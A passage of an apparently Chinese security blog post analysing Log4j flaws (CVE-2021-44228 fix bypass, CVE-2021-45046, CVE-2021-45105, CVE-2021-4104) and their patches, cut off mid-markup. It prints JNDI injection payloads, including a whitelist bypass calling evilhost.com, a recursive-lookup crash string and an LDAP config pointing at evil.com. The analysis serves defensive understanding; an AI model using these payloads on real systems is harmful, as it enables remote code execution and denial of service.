src="https://wechat2rss.xlab.app/img-proxy/?k=619a713d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31YpoanURibbOLH09M1uEd0VmRPRvaBYFicRFw3kibiaR3qonHYNLn7OurAw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"> </span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">JndiManager.lookup</span><span style="font-family:宋体;">：加入白名单限制</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">这是第二个做修改的地方，在进入</span><span style="font-family:Calibri;">JNDI</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">之前针对</span><span style="font-family:Calibri;">Protocol</span><span style="font-family:宋体;">、</span><span style="font-family:Calibri;">Host</span><span style="font-family:宋体;">及</span><span style="font-family:Calibri;">Class</span><span style="font-family:宋体;">进行限制：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6577287066246057" data-s="300,640" style="" data-type="png" data-w="1268" src="https://wechat2rss.xlab.app/img-proxy/?k=a364c924&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31hzAd6b810JGyWj8YyUREwc3h9hR9IW87fg9dibRZJibDdrpQcKqNMIzg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">白名单约定默认允许的协议是：</span><span style="font-family:Calibri;">java</span><span style="font-family:宋体;">，</span><span style="font-family:Calibri;">ldap</span><span style="font-family:宋体;">，</span><span style="font-family:Calibri;">ldaps</span><span style="font-family:宋体;">，数据类型是八大基本数据类型，</span><span style="font-family:Calibri;">Host</span><span style="font-family:宋体;">白名单是</span><span style="font-family:Calibri;">localhost</span><span style="font-family:宋体;">：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.06136900078678206" data-s="300,640" style="" data-type="png" data-w="1271" src="https://wechat2rss.xlab.app/img-proxy/?k=666b9303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31bSnsSTR48A9K0WfM4kreNtBgIdvMRqBThcUyXtGG4kUgIoRico6GuaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.7 2.15.0-</span></span></strong><strong><span style="font-family:Calibri;font-size:21px;">rc1<span style="font-family:宋体;">修复绕过</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:Calibri;">2.15.0-rc1</span><span style="font-family:宋体;">的修复逻辑看似很安全，但细节却没处理好：</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">中若触发了异常</span><span style="font-family:Calibri;">URISyntaxException</span><span style="font-family:宋体;">，仍然会进入</span><span style="font-family:Calibri;">this.context.lookup</span><span style="font-family:宋体;">，造成</span><span style="font-family:Calibri;">JNDI</span><span style="font-family:宋体;">注入：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.15390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a90ac423&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31MWa7ibqNuc6uSGVicqIgayAPG9Znib6OzuQPmuMemwnN6RCq5w9y3ibG6A%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">而触发这个异常也很简单，加个空格即可</span><span style="font-family:Calibri;">${jndi:ldap://127.0.0.1:1389/  abc}</span><span style="font-family:宋体;">，</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">会自动去掉空格，依旧可以</span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">。</span></span><br/></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2.8 2.15.0-</span></span></strong><strong><span style="font-family:Calibri;font-size:21px;">rc</span></strong><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">版本</span></span></strong><strong><span style="font-family:Calibri;font-size:21px;"><span style="font-family:宋体;">修复</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:Calibri;">rc2</span><span style="font-family:宋体;">针对异常逻辑进行优化，加入一句</span><span style="font-family:Calibri;">warn</span><span style="font-family:宋体;">后直接</span><span style="font-family:Calibri;">return</span><span style="font-family:宋体;">，不再继续往下执行。至此</span><span style="font-family:Calibri;">CVE-2021-44228</span><span style="font-family:宋体;">被成功修复。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.16171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6d8207ec&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31LTmQqoiaBEqeMvInAvnxs31JSUCdGEwMrxnOLWq7rZg8WiaJqn7kztLw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">一天后官方正式发布</span><span style="font-family:Calibri;">log4j-2.15.0</span><span style="font-family:宋体;">，默认禁用</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">、加入白名单限制。</span></span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h2><span style="font-family:黑体;font-size:21px;">三、</span><strong><span style="font-family:黑体;font-size:21px;"><span style="font-family:Arial;">CVE-2021-45046</span></span></strong></h2><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">3.1 </span><span style="font-family:宋体;">漏洞信息</span></span></strong></h3><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞类型：</span><span style="font-family:Calibri;">DoS/RCE</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞等级：</span><span style="font-family:Calibri;">Low</span><span style="font-family:宋体;">（</span><span style="font-family:Calibri;">CVSS</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">3.7</span><span style="font-family:宋体;">）——</span><span style="font-family:Calibri;">&gt;Critical</span><span style="font-family:宋体;">（</span><span style="font-family:Calibri;">CVSS</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">9.0</span><span style="font-family:宋体;">）</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;">影响版本：</span><span style="font-family:Calibri;font-size:14px;">2.0-beta9 <span style="font-family:宋体;">到 </span><span style="font-family:Calibri;">2.15.0</span></span></p><p style="margin-left:28px;"><span style="font-family:Calibri;font-size:14px;"><span style="font-family:Calibri;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">3.2 </span><span style="font-family:宋体;">漏洞原理</span></span></strong></h3><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">当日志配置使用带有上下文查找的非默认模式布局（如</span><span style="font-family:Calibri;">$${ctx:loginId}</span><span style="font-family:宋体;">）时，控制线程上下文映射 </span><span style="font-family:Calibri;">(MDC) </span><span style="font-family:宋体;">输入数据的攻击者可以使用 </span><span style="font-family:Calibri;">JNDI </span><span style="font-family:宋体;">查找模式制作恶意输入数据，导致</span><span style="font-family:Calibri;">Dos</span><span style="font-family:宋体;">、部分环境信息泄露和远程代码执行。</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">这个漏洞本身是个</span><span style="font-family:Calibri;">Dos</span><span style="font-family:宋体;">漏洞，但在</span><span style="font-family:Calibri;">12</span><span style="font-family:宋体;">月</span><span style="font-family:Calibri;">17</span><span style="font-family:宋体;">更新了一次，更新为</span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">。</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">3.3 </span><span style="font-family:宋体;">漏洞复现（</span><span style="font-family:Calibri;">DoS</span><span style="font-family:宋体;">）</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">配置方法不同，一般有如下场景：</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）</span><span style="font-family:Calibri;">Log4j2.xml</span><span style="font-family:宋体;">配置，开启</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.29246064623032314" data-s="300,640" style="" data-type="png" data-w="1207" src="https://wechat2rss.xlab.app/img-proxy/?k=07e79ec2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31dwKhgsZznOpF8tbLPse7I2eiaEaUIFM4gcibrf9OOOgI1kFk755BhsAw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;">拼接用户输入并打印：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2535094962840628" data-s="300,640" style="" data-type="png" data-w="1211" src="https://wechat2rss.xlab.app/img-proxy/?k=2f6fb3be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31f5cXW99AcxxzZHMZFIXVKrISqZjR2SF77iaN2fQPAPqeaSxNshRl8Ww%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">  输入</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">，每个</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">将造成阻塞</span><span style="font-family:Calibri;">2s:</span></span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">username=${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">.....</span></span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${jndi:ldap://127.0.0.1}</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5865384615384616" data-s="300,640" style="" data-type="png" data-w="1248" src="https://wechat2rss.xlab.app/img-proxy/?k=a6e64113&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31M9renjEfhEKWYoXMdR3AEysGoiaiaC1L0ZZ7A1jGzYJdw8NceRlpwpVg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-left:0;text-indent:0;"><span style="font-family:宋体;font-size:14px;">2）</span><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">Log4j2.xml</span><span style="font-family:宋体;">还支持从上下文中取值，比如第一节中的</span><span style="font-family:Calibri;">$${ctx:loginId}</span><span style="font-family:宋体;">），如下配置可以取到</span><span style="font-family:Calibri;">loginId</span><span style="font-family:宋体;">值：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3111298482293423" data-s="300,640" style="" data-type="png" data-w="1186" src="https://wechat2rss.xlab.app/img-proxy/?k=b7579a41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31e28gNpXrhyKSS7OicwBnm6YxsjL0zGe8cy4Sld4EM6iaQZoHfpoVtCqA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;">造成同样的阻塞效果：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6563011456628478" data-s="300,640" style="" data-type="png" data-w="1222" src="https://wechat2rss.xlab.app/img-proxy/?k=e7a4bc92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31StpWXTZEOpyVMtibePH71TXqUdlUQdTicPjnPeMZCk6c4MyyicPS4R6rQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"></span><br/></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">3.4 </span><span style="font-family:宋体;">漏洞分析（</span><span style="font-family:Calibri;">DoS</span><span style="font-family:宋体;">）</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">1</span><span style="font-family:宋体;">）漏洞思路：</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">代码限制了</span><span style="font-family:Calibri;">JndiLookup</span><span style="font-family:宋体;">只能取本地</span><span style="font-family:Calibri;">host</span><span style="font-family:宋体;">。</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">本质是网络相关的操作，尝试去</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">本地但本地不可能开</span><span style="font-family:Calibri;">LDAP Server</span><span style="font-family:宋体;">，于是便发生超时等待。</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">2</span><span style="font-family:宋体;">）利用前提：</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">漏洞利用前提是配置文件里开启</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">，或存在形如</span><span style="font-family:Calibri;">${ctx:loginId}</span><span style="font-family:宋体;">的配置，这个配置可绕过默认的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">限制：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=436819b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw3127yG8YSyajITEO2vXTh2ywB6Lc9TBj8Qr5oWArqvBo68mlJiavZfPtg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"> </span><br/></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">3</span><span style="font-family:宋体;">）代码分析：</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">在报错信息里很明显看到是</span><span style="font-family:Calibri;">connect</span><span style="font-family:宋体;">操作导致的阻塞：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=39b550cf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31ZbWya5WdEuO4rViaU6KGibqhTR7Rl6oNw0iaicbYoekGSXCbUicQwiaUKHtQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">至于后续的一次更新，原因在于有安全研究者发现可绕过</span><span style="font-family:Calibri;">host</span><span style="font-family:宋体;">的限制，</span><span style="font-family:Calibri;">payload:</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;">${jndi:ldap://127.0.0.1#evilhost.com:1389/a}</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">利用解析差异，</span><span style="font-family:Calibri;">java.net.URI</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">getHost() </span><span style="font-family:宋体;">方法返回 </span><span style="font-family:Calibri;"># </span><span style="font-family:宋体;">之前的值作为真实主机，但 </span><span style="font-family:Calibri;">JNDI/LDAP </span><span style="font-family:宋体;">解析器将解析为后面的恶意 </span><span style="font-family:Calibri;">LDAP </span><span style="font-family:宋体;">服务器。（</span><span style="font-family:Calibri;">PS</span><span style="font-family:宋体;">：次漏洞只在 </span><span style="font-family:Calibri;">MacOS </span><span style="font-family:宋体;">环境中方可触发）</span></span></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">3.5 </span><span style="font-family:宋体;">漏洞修复</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">由于这个漏洞是</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">的</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">请求超时引起，官方发布临时版本</span><span style="font-family:Calibri;">2.15.1.rc1</span><span style="font-family:宋体;">版本，默认禁用了</span><span style="font-family:Calibri;">jndi</span><span style="font-family:宋体;">功能：</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25078125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=38a1da29&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw3168HLsNDf6Xg0iaLw6ELjjeEZUaXLUTib0L9cZB9oIA1lXiaEMK8oQxCBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3859375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=bceb8ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31bib04PxZINYLDwklD1yeABJicSZUUkygnibyBgIFSxOHib6Ar3PTiayGIRg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"></span></p><p><span style="font-family:宋体;font-size:14px;"> <span style="font-family:宋体;">在正式的</span><span style="font-family:Calibri;">2.16.0</span><span style="font-family:宋体;">干脆将</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">全部删除：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4796875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8457ccf4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31bb3qeWxibylHvrh7icY4nQ2ict0k0PoRRf9w4r8HOccgOK54qoXPQOxlw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"></span></p><h2 style="margin-left:0;text-indent:0;"><span style="font-family:黑体;font-size:21px;">四、</span><strong><span style="font-family:Arial;font-size:21px;">CVE-2021-45105</span></strong></h2><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">4.1 </span><span style="font-family:宋体;">漏洞信息</span></span></strong></h3><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞类型：</span><span style="font-family:Calibri;">DoS</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">漏洞等级：</span><span style="font-family:Calibri;">High</span><span style="font-family:宋体;">（</span><span style="font-family:Calibri;">CVSS</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">7.5</span><span style="font-family:宋体;">）</span></span></p><p style="margin-left:28px;"><span style="font-family:Wingdings;font-size:14px;">² </span><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">影响版本：</span> <span style="font-family:Calibri;">2.0-beta9</span><span style="font-family:宋体;">到</span><span style="font-family:Calibri;">2.16.0</span></span></p><p style="margin-left:28px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:Calibri;"><br/></span></span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">4.2 </span><span style="font-family:宋体;">漏洞原理</span></span></strong></h3><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">当日志配置使用带有上下文查找的非默认模式布局（例如，</span><span style="font-family:Calibri;">$${ctx:loginId}</span><span style="font-family:宋体;">）时，控制线程上下文映射 </span><span style="font-family:Calibri;">(MDC) </span><span style="font-family:宋体;">输入数据的攻击者可以制作包含递归查找的恶意输入数据（如：</span><span style="font-family:Calibri;">${${::-${::-$${::-j}}}}</span><span style="font-family:宋体;">），导致 </span><span style="font-family:Calibri;">StackOverflowError </span><span style="font-family:宋体;">将终止进程。</span></span></p><p><span style="font-family:Calibri;font-size:14px;"> </span></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">4.3 </span><span style="font-family:宋体;">漏洞复现</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">这个漏洞其实算是</span><span style="font-family:Calibri;">45046</span><span style="font-family:宋体;">的“附属品”，调试</span><span style="font-family:Calibri;">45046</span><span style="font-family:宋体;">时就能发现这个</span><span style="font-family:Calibri;">DoS</span><span style="font-family:宋体;">漏洞：输入</span><span style="font-family:Calibri;">payload</span><span style="font-family:宋体;">：</span><span style="font-family:Calibri;">${::-${ctx:userid}}</span></span><span style="font-family: Calibri;font-size: 14px;"> </span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.69140625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=e94d8c0c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31MbiajicqjkIkyMEGd5DzHjDtwCdHp8wGyyAz0Leyp39Olicvoa8iaUaVYw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">正常跟踪堆栈，发现到</span><span style="font-family:Calibri;">StrSubstitutor</span><span style="font-family:宋体;">时候中存在</span><span style="font-family:Calibri;">checkCyclicSubstitution</span><span style="font-family:宋体;">的判断，而这个判断会一直循环执行：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.47578125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=506c2c8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31ibkwk5nKpQcvrlHhZ6PGb49uicBFoPsUmjicsf3ykSkIkMpIyicE5TeVsQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">看下这个</span><span style="font-family:Calibri;">void</span><span style="font-family:宋体;">判断方法的逻辑，</span><span style="font-family:Calibri;">if</span><span style="font-family:宋体;">判断若不满足条件则直接退出方法，明显有问题：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.18046875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d14254c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31BjMsIX2NBg2QaicJCJas6Alk9710hvp4zgOHqApaD2ov4v0jS2ZEpdA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:14px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">如此无限循环后，最终导致</span><span style="font-family:Calibri;">StackOverflowError</span><span style="font-family:宋体;">：</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.25234375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f2866808&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31SqniavFlXZpOoJoRqq6909w7ovkz9IMNHhCB0Np4ZDY4kfIpzDtunPw%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:Calibri;font-size:14px;"></span><br/></p><h3><strong><span style="font-family:宋体;font-size:21px;"><span style="font-family:Calibri;">4.4 </span><span style="font-family:宋体;">漏洞修复</span></span></strong></h3><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:Calibri;">2.17.0-rc1</span><span style="font-family:宋体;">及正式</span><span style="font-family:Calibri;">2.17.0</span><span style="font-family:宋体;">版本均做了修复，将此判断</span><span style="font-family:Calibri;">checkCyclicSubstitution</span><span style="font-family:宋体;">改为</span><span style="font-family:Calibri;">bool</span><span style="font-family:宋体;">方法，增加返回值</span><span style="font-family:Calibri;">return</span><span style="font-family:宋体;">。</span></span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.31171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=a99e2818&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicMWNJz7ywK2m7S5PBqbw31HcgzLApJIrCwKy6u5jrvkkuic8p9qVsmF1sa9TyKu09V3D8dUSfEt1Q%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:Calibri;">PS</span><span style="font-family:宋体;">：由于这个漏洞发生在</span><span style="font-family:Calibri;">substitute</span><span style="font-family:宋体;">解析阶段，还未走到</span><span style="font-family:Calibri;">lookup</span><span style="font-family:宋体;">的逻辑，所以对于开启 </span><span style="font-family:Calibri;">log4j2.noFormatMsgLookup</span><span style="font-family:宋体;">为</span><span style="font-family:Calibri;">true</span><span style="font-family:宋体;">等情况下不能防御，只有升级至高版本。</span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><p><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;"><br/></span></span></p><h2 style="margin-left:0;text-indent:0;"><span style="font-family:黑体;font-size:21px;">五、</span><strong><span style="font-family:Arial;font-size:21px;">CVE-2021-4104</span></strong></h2><p style="text-indent:28px;"><span style="font-family:宋体;font-size:14px;"><span style="font-family:宋体;">最后提一下</span><span style="font-family:Calibri;">CVE-2021-4104</span><span style="font-family:宋体;">，这个漏洞只影响</span><span style="font-family:Calibri;">log4j 1.x</span><span style="font-family:宋体;">，和上面的</span><span style="font-family:Calibri;">Log4j2</span><span style="font-family:宋体;">漏洞没有任何关系，且利用前提是配置文件能被控制，攻击者通过 </span><span style="font-family:Calibri;">JMSAppender </span><span style="font-family:宋体;">进行 </span><span style="font-family:Calibri;">JNDI </span><span style="font-family:宋体;">注入实现 </span><span style="font-family:Calibri;">RCE</span><span style="font-family:宋体;">。</span></span></p><p><span style="font-family:宋体;font-size:14px;">  <span style="font-family:宋体;">也就是说，攻击者需要将</span><span style="font-family:Calibri;">Log4j.xml</span><span style="font-family:宋体;">文件中配置</span><span style="font-family:Calibri;">Jms</span><span style="font-family:宋体;">，指向恶意</span><span style="font-family:Calibri;">ldap</span><span style="font-family:宋体;">服务器：</span></span></p><p><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">&lt;Jms name= </span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">“</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">Jms</span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">”</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"> </span></span></em></p><p><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">factoryBindingName=</span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">”</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span style="font-family:Calibri;">ldap://evil.com/abc</span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">”</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"> <span style="font-family:Calibri;">destinationBindingName=</span></span></span></em><em><span style="text-decoration:underline;"><span style="font-family: Calibri;font-size: 14px;">”</span></span></em><em><span style="text-decoration:underline;"><span style="font-family: 宋体;font-size: 14px;"><span 